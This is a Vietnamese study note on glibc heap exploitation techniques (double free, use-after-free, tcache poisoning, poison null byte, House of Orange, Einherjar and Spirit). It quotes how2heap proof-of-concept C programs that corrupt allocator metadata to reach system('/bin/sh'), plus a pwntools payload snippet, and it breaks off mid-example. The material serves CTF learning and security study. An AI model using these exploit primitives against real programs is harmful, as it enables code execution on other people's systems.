# Heap Exploitation ``` +--------------------+----------------------------+-----------------------+ | Bug Used | Bin Attack | House | +--------------------+----------------------------+-----------------------+ | | Fast Bin Attack | House of Spirit | | Double Free | tcache attack | House of Lore | | Heap Overflow | Unsorted Bin Attck | House of Force | | Use After Free | Small / Large Bin Attck | House of Einherjar | | | Unsafe Unlink | House of Orange | +--------------------+----------------------------+-----------------------+ ``` - tips ``` * unsorted_bin: để leak libc_base_address * fast_bin : để leak heap_base_address * small_bin: thì có thể leak được cả hai thứ trên ``` --- ## ref - https://www.youtube.com/@SiyuJiang/featured - https://guyinatuxedo.github.io/25-heap/index.html - https://github.com/shellphish/how2heap --- # Basic Exploit ## Heap Overflow (HOF) - giống BOF nhưng phạm vi hoạt động lại nằm trong heap - đơn giản là ta có thể ghi đè địa chỉ ta muốn nhờ vào **malloc()** > ow size, fw, <win_addr> ... --- ## Attack Hook (Hook Overwrite) - ``Hook`` cũng gần tương đồng ``GOT`` và ``PLT`` - nếu ``GOT`` là nơi chứa địa chỉ hàm để thực thi thì ta sẽ thay đổi thành **system()** chẳng hạn và đến ``PLT`` sẽ thực thi cái địa chỉ chứa trong ``GOT`` - còn với ``Hook`` thì sẽ nằm trong 3 hàm **free()**, **malloc()** và **realloc()** ---> tương ứng là ``__free_hook``, ``__malloc_hook`` và ``__realloc_hook`` - khi thực thi 1 trong 3 **free()**, **malloc()** và **realloc()** thì sẽ có bước kiểm tra cá giá trị của ``_hook`` - mặc định giá trị của ``_hook`` sẽ bằng NULL , nếu giá trị chứa trong ``_hook`` khác 0 ---> thực thi cái bên trong ``_hook`` trước (trỏ về nội dung bên trong ``_hook``) - control được ``_hook`` ---> điều khiển được chương trình :::success :bulb: idea đơn giản về **Attack Hook** là ghi đè **system()** vào ``__free_hook`` và đến hàm **free()** sẽ nhận con trỏ **ptr** (ptr của chunk cần **free()** ở thanh ghi $rdi và mình chỉ cần truyền '/bin/sh' là có shell ::: :::success :bulb: ngoài ra trên ``__malloc_hook`` có 1 chunk chứa size hợp lệ là 0x70 nằm ở ``__malloc_hook - 35`` - khi ta muốn ``__malloc_hook`` chứa one_gadget, thì tại chunk fake ở trên ta padding tầm 19 byte rồi 8 byte tiếp theo sẽ là one_gadget (muốn có shell ta trigger DBF) - khi ta muốn ``__malloc_hook`` chứa **system**, thì tại chunk fake ở trên ta padding tầm 19 byte rồi 8 byte tiếp theo sẽ là system (muốn có shell ta phải tạo fake chunk chứa '/bin/sh\0' ở địa chỉ ta sẽ lấy làm size($rdi) khi **malloc()**) ::: :::danger 🆘 lưu ý với libc 2.34 trở đi là hook không còn tác dụng ::: --- ## take a look - https://hackmd.io/@trhoanglan04/deeper_in_heap ## Double free (DBF) - DBF và UAF là 2 kĩ thuật khai thác phổ biến > [CWE-415: Double Free (4.9)](https://cwe.mitre.org/data/definitions/415.html) - bug nằm ở sau khi ta **malloc()** 1 chunk và **free()** nó nhưng lại không xoá con trỏ sau khi **free()** ---> tiếp tục free cùng 1 con trỏ ---> tận dụng điều đó để sửa chunk - DBF thường thấy nhất là **free()** cùng 1 con trỏ dẫn đến trong các bins sẽ có 2 freed_chunk trỏ lẫn nhau (thường được thấy là ``loop_detected``) - TUY NHIÊN ở những version libc khác nhau sẽ có những cách trigger DBF khác nhau - với libc 2.26 trở xuống thì không có tcache, chỉ có fastbin thì ta cần **free()** 1 chunk đệm xen giữa (do cơ chế của fastbin để chặn lỗi DBF) :::info 🎯 : DBF chủ yếu trigger để edit freed chunk và metadata ===> lần **malloc()** tiếp theo sẽ thay đổi 2 chunk loop lẫn nhau tạo thành 1 fake chunk ::: --- ## Use After Free (UAF) - nói một cách đơn giản, UAF có nghĩa đen là khi một chunk được giải phóng và reused - nhưng trên thực tế, đây là những tình huống sau - Sau khi chunk được **free()**, con trỏ tương ứng của nó được đặt thành ``NULL``, nếu được **malloc()** sử dụng lại ---> SIGSEGV Fault - Sau khi chunk được **free()**, con trỏ tương ứng của nó **KHÔNG** được đặt thành ``NULL``, và sau đó trước khi nó được **malloc()** vào lần tiếp theo, không có code nào để sửa đổi chunk này, thì program có khả năng chạy bình thường. - Sau khi chunk được **free()**, con trỏ tương ứng của nó **KHÔNG** được đặt thành ``NULL``, nhưng trước khi nó được **malloc()** lần sau, một số code sẽ sửa đổi chunk này, sau đó khi program reused lại chunk này, nó có khả năng xuất hiện BUG. - các bug UAF mà thường đề cập đến chủ yếu là hai tình huống cuối - ngoài ra, khi gọi con trỏ chunk không set thành ``NULL``, sau khi được **free()** sẽ ở dưới dạng con trỏ lơ lửng (nằm trong các binning) - BUG này vẫn relevant và common ngày nay > [cwe mitre](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=use+after+free) :::info 🎯 : UAF chủ yếu trigger để edit freed chunk và metadata ===> lần **malloc()** tiếp theo sẽ tận dụng chunk cũ thể sửa lại dữ liệu mình mong muốn ::: - hứng thú sâu hơn thì bơi vào [link này](https://www.blackhat.com/docs/eu-16/materials/eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own-wp.pdf) mà tìm hiểu =))) --- ## Tcache Poisoning - là kỹ thuật trick tcache để sửa ``fd_pointer`` trở về nơi mình muốn **malloc()** lần kế - từ glibc 2.32 trở đi, ta phải leak thêm địa chỉ heap để fake ``new_fd = target ^ (heap >> 12)`` - source mẫu: ```c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> int main() { // disable buffering setbuf(stdin, NULL); setbuf(stdout, NULL); printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" "An heap address leak is needed to perform tcache poisoning.\n" "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); size_t stack_var[0x10]; size_t *target = NULL; // choose a properly aligned target address for(int i=0; i<0x10; i++) { if(((long)&stack_var[i] & 0xf) == 0) { target = &stack_var[i]; break; } } assert(target != NULL); printf("The address we want malloc() to return is %p.\n", target); printf("Allocating 2 buffers.\n"); intptr_t *a = malloc(128); printf("malloc(128): %p\n", a); intptr_t *b = malloc(128); printf("malloc(128): %p\n", b); printf("Freeing the buffers...\n"); free(a); free(b); printf("Now the tcache list has [ %p -> %p ].\n", b, a); printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); // VULNERABILITY // the following operation assumes the address of b is known, which requires a heap leak b[0] = (intptr_t)((long)target ^ (long)b >> 12); // VULNERABILITY printf("Now the tcache list has [ %p -> %p ].\n", b, target); printf("1st malloc(128): %p\n", malloc(128)); printf("Now the tcache list has [ %p ].\n", target); intptr_t *c = malloc(128); printf("2nd malloc(128): %p\n", c); printf("We got the control\n"); assert((long)target == (long)c); return 0; } ``` - về kỹ thuật này chỉ cần đọc source trên cũng hiểu muốn chúng ta làm cái gì - EXAMBLE: - [Horsetrack PICO CTF 2023](https://hackmd.io/@trhoanglan04/BkNgwg7xn#Horsetrack) --- ## Off-By-One / Poison Null Byte - là 1 bug chỉ chuẩn cho libc 2.23 - khá giống với off_by_one trong lỗi BOF nhưng ở đây là mình cố ý thêm ``NULL`` byte chứ không tận dụng sự tự động thêm từ 1 hàm nhập đầu vào (hoặc program tự động thêm NULL vào cuối mỗi payload) - thì kỹ thuật này chủ yếu là ghi đè size của chunk tiếp theo thành 1 byte cuối là ``NULL`` ---> mục đích bypass lỗi DBF trong tcache ---> fake được sự gộp chunks >sửa next_size và bit INUSE >ví dụ 0x111 -> 0x100 >**khác với chỉ sửa bit INUSE** (House of Enherjar) - ta cần fake cho chunk ta muốn DBF đã **free()** rồi thì bây giờ nếu có thể reallocate 1 chunk nào đó (thường là chunk trước chunk muốn trigger DBF) và tận dụng sửa size cho chunk này sau đó **free()** thôi - nói trắng ra là làm cho program bị lú lẫn về PREV_SIZE khi free 1 chunk - EXAMBLE: - [zero to hero PICO GYM](https://hackmd.io/@trhoanglan04/HJbMpmM1h#zero_to_hero) - [Secret Of My Heart PWNABLE.TW](https://hackmd.io/@trhoanglan04/ryoncvv42#Secret-Of-My-Heart-400-pts) - [Not a Note KMA CTF 2023](https://hackmd.io/@trhoanglan04/S15a4X8C3#Not-a-Note) --- # House of X - lưu ý với mỗi glibc khác nhau sẽ có cách exploit khác nhau (có hoặc không có tcache) - chi tiết hơn xem trong how2heap - dưới đây là cách exploit mà mình từng làm ## House of Orange - kĩ thuật này chỉ chuẩn cho libc 2.23 - kỹ thuật này là sửa size của top_chunk - khiến đợt request malloc tiếp theo (lớn hơn size top_chunk) sẽ gọi **sysmalloc** (do không phân bổ từ top_chunk được) - nôm na ta sẽ có được 1 block freed chunk (chui vô ubin) mà không cần đến hàm **free()** ### introduce - với các chunk bé hơn 128KB sẽ được **ptmalloc2** dùng phương thức ``brk``('break point' - thay đổi vùng nhớ heap) - với các chunk lớn hơn 128KB sẽ dùng **sysmalloc** với phương thức ``mmap`` (cấp phát bộ nhớ vào một vùng nhớ khác heap) ### requirements ```text 1. Forged size must be aligned to the memory page 2. size is greater than MINSIZE (0x10) 3. size is smaller than the chunk size + MINSIZE (0x10) applied afterwards 4. The prev inuse bit of size must be 1 ``` ===> với yêu cầu 1, ta chỉ sửa 1 kí tự của size (ví dụ 0x4321 ---> resize 0x0321) - nếu thoả mãn, gọi ``_init_free`` đưa vào ubin ### what's next? - nếu ta malloc thêm 1 chunk nữa sẽ báo lỗi (**Aborted**) rồi end - khi call Abort, nó sẽ setup các file structure: ``_IO_flush_all_lockp -> _IO_list_all -> _IO_OVERFLOW (vtable)`` - rồi sử dụng ``__overflow``(trong **vtable**) để execute phân đoạn mình muốn ![](https://hackmd.io/_uploads/SkCAmAEZp.png) > mẫu cho các section trong **vtable** > vì ***vtable** là ``_IO_file_jumps`` - ta có thể thay đổi ``_IO_list_all->*vtable`` (cụ thể là ``__overflow`` trong ``_IO_OVERFLOW`` ) thành **system()** hoặc ``one_gadget`` ``` _IO_flush_all_lockp -> _IO_list_all -> _IO_OVERFLOW (vtable) | |------------> fake file structure ``` - khi này ta sử dụng ubin attack, thay bk_pointer bằng ``_IO_list_all - 0x10`` để khi malloc một chunk mới, nó ow địa chỉ ``_IO_list_all`` ### how? - see in [my blog](https://hackmd.io/@trhoanglan04/SJWrxsQs2#usage-of-vtable-in-a-FILE-structure:~:text=v%C3%A0%20n%E1%BA%BFu%20tho%C3%A3%20m%C3%A3n%201%20s%E1%BB%91%20%C4%91i%E1%BB%81u%20ki%E1%BB%87n%20nh%E1%BA%A5t%20%C4%91%E1%BB%8Bnh%2C%20g%E1%BB%8Di%20%C4%91%E1%BA%BFn%20_IO_OVERFLOW%20(fp%2C%20EOF)) ### setup ```c top[3] = io_list_all - 0x10; //bk_pointer memcpy( ( char *) top, "/bin/sh\x00", 8); //_flags top[1] = 0x61; //size FILE *fp = (FILE *) top; fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 fp->_mode = 0; // top+0xc0 size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8 ``` #### note ```text ở đúng vị trí top+0xd8 là 1 heap_addr #top+0xd8 là vtable và heap_addr đó tiếp tục trỏ ở 1 vị trí heap_addr khác # *vtable = heap_addr và heap_addr khác là chuỗi p64(0)*3 + p64(system) là được ``` - [why 0xd8 is vtable ?](https://hackmd.io/@trhoanglan04/SJWrxsQs2#overview:~:text=v%C3%A0%20%C4%91%E1%BA%BFn%20vtable%20l%C3%A0%200xd8) - ở ``_IO_write_ptr`` phải lớn hơn ``_IO_write_base`` (đơn giản để 3 > 2) - content trong ***vtable** ![](https://hackmd.io/_uploads/HkIe904WT.png) > p64(0)*3 để padding qua ``__dummy`` , ``__dummy2`` và ``__finish`` ### tool - [xem thêm](https://docs.pwntools.com/en/stable/filepointer.html#pwnlib.filepointer.FileStructure.orange) - example payload if address of ``_IO_list_all`` is 0xfacef00d and fake **vtable** is at 0xcafebabe ```python fileStr = FileStructure(0xdeadbeef) payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe) ``` ### examble - source mẫu: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> /* The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer It requires a leak of the heap and the libc Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html */ /* This function is just present to emulate the scenario where the address of the function system is known. */ int winner ( char *ptr); int main() { /* The House of Orange starts with the assumption that a buffer overflow exists on the heap using which the Top (also called the Wilderness) chunk can be corrupted. At the beginning of execution, the entire heap is part of the Top chunk. The first allocations are usually pieces of the Top chunk that are broken off to service the request. Thus, with every allocation, the Top chunks keeps getting smaller. And in a situation where the size of the Top chunk is smaller than the requested value, there are two possibilities: 1) Extend the Top chunk 2) Mmap a new page If the size requested is smaller than 0x21000, then the former is followed. */ char *p1, *p2; size_t io_list_all, *top; fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n"); /* Firstly, lets allocate a chunk on the heap. */ p1 = malloc(0x400-16); /* The heap is usually allocated with a top chunk of size 0x21000 Since we've allocate a chunk of size 0x400 already, what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01. The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap, it must also be page aligned at the end. Also, if a chunk that is adjacent to the Top chunk is to be freed, then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set. So that means that there are two conditions that must always be true. 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE. What's left is 0x20c01 Now, let's satisfy the conditions 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. */ top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; /* Now we request a chunk of size larger than the size of the Top chunk. Malloc tries to service this request by extending the Top chunk This forces sysmalloc to be invoked. In the usual scenario, the heap looks like the following |------------|------------|------...----| | chunk | chunk | Top ... | |------------|------------|------...----| heap start heap end And the new area that gets allocated is contiguous to the old heap end. So the new size of the Top chunk is the sum of the old size and the newly allocated size. In order to keep track of this change in size, malloc uses a fencepost chunk, which is basically a temporary chunk. After the size of the Top chunk has been updated, this chunk gets freed. In our scenario however, the heap looks like |------------|------------|------..--|--...--|---------| | chunk | chunk | Top .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start heap end In this situation, the new Top will be starting from an address that is adjacent to the heap end. So the area between the second chunk and the heap end is unused. And the old Top chunk gets freed. Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes, it gets added to list of unsorted bins. Now we request a chunk of size larger than the size of the top chunk. This forces sysmalloc to be invoked. And ultimately invokes _int_free Finally the heap looks like this: |------------|------------|------..--|--...--|---------| | chunk | chunk | free .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start new heap end */ p2 = malloc(0x1000); /* Note that the above chunk will be allocated in a different page that gets mmapped. It will be placed after the old heap's end Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins Here starts phase two of the attack. We assume that we have an overflow into the old top chunk so we could overwrite the chunk's size. For the second phase we utilize this overflow again to overwrite the fd and bk pointer of this chunk in the unsorted bin list. There are two common ways to exploit the current state: - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations) - Use the unlinking of the chunk for an *where*-controlled write of the libc's main_arena unsorted-bin-list. (requires at least one allocation) The former attack is pretty straight forward to exploit, so we will only elaborate on a variant of the latter, developed by Angelboy in the blog post linked above. The attack is pretty stunning, as it exploits the abort call itself, which is triggered when the libc detects any bogus state of the heap. Whenever abort is triggered, it will flush all the file pointers by calling _IO_flush_all_lockp. Eventually, walking through the linked list in _IO_list_all and calling _IO_OVERFLOW on them. The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh'). More about file-pointer exploitation can be found here: https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they currently point to the libc's main_arena. */ io_list_all = top[2] + 0x9a8; /* We plan to overwrite the fd and bk pointers of the old top, which has now been added to the unsorted bins. When malloc tries to satisfy a request by splitting this free chunk the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list in libc's main_arena. Note that this overwrite occurs before the sanity check and therefore, will occur in any case. Here, we require that chunk->bk->fd to be the value of _IO_list_all. So, we should set chunk->bk to be _IO_list_all - 16 */ top[3] = io_list_all - 0x10; /* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */ memcpy( ( char *) top, "/bin/sh\x00", 8); /* The function _IO_flush_all_lockp iterates through the file pointer linked-list in _IO_list_all. Since we can only overwrite this address with main_arena's unsorted-bin-list, the idea is to get control over the memory at the corresponding fd-ptr. The address of the next file pointer is located at base_address+0x68. This corresponds to smallbin-4, which holds all the smallbins of sizes between 90 and 98. For further information about the libc's bin organisation see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ Since we overflow the old top chunk, we also control it's size field. Here it gets a little bit tricky, currently the old top chunk is in the unsortedbin list. For each allocation, malloc tries to serve the chunks in this list first, therefore, iterates over the list. Furthermore, it will sort all non-fitting chunks into the corresponding bins. If we set the size to 0x61 (97) (prev_inuse bit has to be set) and trigger an non fitting smaller allocation, malloc will sort the old chunk into the smallbin-4. Since this bin is currently empty the old top chunk will be the new head, therefore, occupying the smallbin[4] location in the main_arena and eventually representing the fake file pointer's fd-ptr. In addition to sorting, malloc will also perform certain size checks on them, so after sorting the old top chunk and following the bogus fd pointer to _IO_list_all, it will check the corresponding size field, detect that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ" and finally triggering the abort call that gets our chain rolling. Here is the corresponding code in the libc: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717 */ top[1] = 0x61; /* Now comes the part where we satisfy the constraints on the fake file pointer required by the function _IO_flush_all_lockp and tested here: https://code.woboq.org/userspace/glibc/libio/genops.c.html#813 We want to satisfy the first condition: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base */ FILE *fp = (FILE *) top; /* 1. Set mode to 0: fp->_mode <= 0 */ fp->_mode = 0; // top+0xc0 /* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */ fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 /* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */ size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8 /* Finally, trigger the whole chain by calling malloc */ malloc(10); /* The libc's error message will be printed to the screen But you'll get a shell anyways. */ return 0; } int winner(char *ptr) { system(ptr); syscall(SYS_exit, 0); return 0; } ``` - link thêm file [libc](https://pwnable.tw/static/libc/libc_64.so.6) này để compile > copy libc và ld qua source trên compile > lệnh : ``$ gcc orange.c -o orange libc_64.so.6 ld-2.23.so`` sau đó ``pwninit`` để có thể debug được file **orange_patched** - EXAMBLE: - [BookWriter PWNABLE.TW](https://hackmd.io/@trhoanglan04/ryoncvv42#BookWriter-350-pts) --- ## House of Enherjar > demo trên glibc 2.27 - là 1 kĩ thuật Posion NULL byte (hay Off_By_one) ---> sửa bit INUSE thành NON_INUSE, đồng thời set PREV_SIZE => free sẽ vào ubin ==> consolidate chunk (overlapping chunk) ===> attacker could control data ### what happend? ![](https://hackmd.io/_uploads/BkYdR7N1a.png) >assume tcache [0x100] is filled >0x100 is not suitable in fastbins >assume next_chunk of victim is INUSE or top_chunk #### next_chunk is INUSE ![](https://hackmd.io/_uploads/H1HTgE4kp.png) #### next_chunk is top_chunk ![](https://hackmd.io/_uploads/SyRD-NNkT.png) ### exploit - ta đã có overlapping chunk ---> can control heap metadata - trong cách khai thác ở libc 2.27, poison tcache ---> ``free_hook`` - allocate chunk (X) từ vùng overlapped - free X vào tcache - edit prev_chunk để thay đổi X (next ptr) là ``free_hook`` - allocate chunk (trả về X), truyền tham số '/bin/sh\0' - allocate chunk (trả về ``free_hook``), truyền tham số **system** - free X ### examble - source mẫu: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> #include <assert.h> /* Credit to st4g3r for publishing this technique The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. */ int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); printf("Welcome to House of Einherjar!\n"); printf("Tested in Ubuntu 18.04.4 64bit.\n"); printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); uint8_t* a; uint8_t* b; uint8_t* d; printf("\nWe allocate 0x38 bytes for 'a'\n"); a = (uint8_t*) malloc(0x38); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size); // create a fake chunk printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); printf("(although we could do the unsafe unlink technique here in some scenarios)\n"); size_t fake_chunk[6]; fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize printf("Our fake chunk at %p looks like:\n", fake_chunk); printf("prev_size (not used): %#lx\n", fake_chunk[0]); printf("size: %#lx\n", fake_chunk[1]); printf("fwd: %#lx\n", fake_chunk[2]); printf("bck: %#lx\n", fake_chunk[3]); printf("fwd_nextsize: %#lx\n", fake_chunk[4]); printf("bck_nextsize: %#lx\n", fake_chunk[5]); /* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x4f8); int real_b_size = malloc_usable_size(b); printf("\nWe allocate 0x4f8 bytes for 'b'.\n"); printf("b: %p\n", b); uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/ printf("\nb.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x500) | prev_inuse = 0x501\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); /* VULNERABILITY */ a[real_a_size] = 0; /* VULNERABILITY */ printf("b.size: %#lx\n", *b_size_ptr); printf("This is easiest if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); printf("If it had been modified, we would need a fake chunk inside " "b where it will try to consolidate the next chunk\n"); // Write a fake prev_size to the end of a printf("\nWe write a fake prev_size to the last %lu bytes of a so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; //Change the fake chunk's size to reflect b's new prev_size printf("\nModify fake chunk's size to reflect b's new prev_size\n"); fake_chunk[1] = fake_size; // free b and it will consolidate with our fake chunk printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); free(b); printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); //if we allocate another chunk before we free b we will need to //do two things: //1) We will need to adjust the size of our fake chunk so that //fake_chunk + fake_chunk's size points to an area we control //2) we will need to write the size of our fake chunk //at the location we control. //After doing these two things, when unlink gets called, our fake chunk will //pass the size(P) == prev_size(next_chunk(P)) test. //otherwise we need to make sure that our fake chunk is up against the //wilderness // printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); d = malloc(0x200); printf("Next malloc(0x200) is at %p\n", d); assert((long)d == (long)&fake_chunk[2]); } ``` --- ## House of Spirit - là một kỹ thuật **malloc()** 1 chunk từ stack - khiến cho lần ow tiếp theo nằm trên stack để thực hiện ROP ### overview - khi ta setup đầy đủ cả prev_size và size cho 2 fake_chunks - khi **free()** thằng đầu tiên ---> fake_chunk nằm trong bin ---> rơi vào fastbins hoặc tcache (fastbins sẽ khó hơn vì còn các security check) ===> **malloc()** đến size mình muốn để reused fake_chunk ### restrictions - có 3 hạn chế ta cần thoã mãn ```text 1. Size chunks must be within the fastin|tcache range 2. Size values must be placed where they were an actual chunk 3. Size of the first heap chunnk (freed and reallocated) must be the same as the rounded up heap size ``` - tức là để tránh các lỗi như ``Invalid pointer`` khi **free()** thì fake_chunk phải là địa chỉ hợp lệ (16-byte aligned) > addr có đuôi 0x0 thay vì 0x8 ( tương tự với lỗi ``xmm`` ) ### how? - tất nhiên ở mọi bài heap, ta cần có libc - đầu tiên cần có ubin > fillup tcache hoặc **malloc()** size > 0x410 - sau đó cần có con trỏ **ptr** trỏ về chunk VICTIM ta muốn attack - rồi **free(ptr)** ---> vào bin - lần **malloc(size)** tiếp theo (với **size** của fake_chunk) sẽ trả về con trỏ ta muốn ### fastbins - [ref](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html#house-of-spirit-explanation) ```python +-------+---------------------+------+ | 0x00: | Chunk # 0 prev size | 0x00 | +-------+---------------------+------+ | 0x08: | Chunk # 0 size | 0x60 | +-------+---------------------+------+ | 0x10: | Chunk # 0 content | 0x00 | +-------+---------------------+------+ | 0x60: | Chunk # 1 prev size | 0x00 | +-------+---------------------+------+ | 0x68: | Chunk # 1 size | 0x40 | +-------+---------------------+------+ | 0x70: | Chunk # 1 content | 0x00 | +-------+---------------------+------+ ``` - **free( 0 )** --> check next_chunk ( 1 ) ===> satisfy size chunk(1) from 0x10 -> 0x70 #### examble - source mẫu: ```c #include <stdio.h> #include <stdlib.h> #include <assert.h> int main() { setbuf(stdout, NULL); puts("This file demonstrates the house of spirit attack."); puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); puts("Required primitives: known target address, ability to set up the start/end of the target memory"); puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); void *chunks[7]; for(int i=0; i<7; i++) { chunks[i] = malloc(0x30); } for(int i=0; i<7; i++) { free(chunks[i]); } puts("\nStep 2: Prepare the fake chunk"); // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) long fake_chunks[10] __attribute__ ((aligned (0x10))); printf("The target fake chunk is at %p\n", fake_chunks); printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); fake_chunks[1] = 0x40; // this is the size printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); fake_chunks[9] = 0x1234; // nextsize puts("\nStep 3: Free the first fake chunk"); puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); void *victim = &fake_chunks[2]; free(victim); puts("\nStep 4: Take out the fake chunk"); printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); printf("malloc can do the trick as well, you just need to do it for 8 times."); void *allocated = calloc(1, 0x30); printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); assert(allocated == victim); } ``` ### tcache - securit check sẽ không kiểm tra next_chunk ---> miễn chỉ cần **free()** 1 addr hợp lệ #### examble - source mẫu: ```c #include <stdio.h> #include <stdlib.h> #include <assert.h> int main() { setbuf(stdout, NULL); printf("This file demonstrates the house of spirit attack on tcache.\n"); printf("It works in a similar way to original house of spirit but you 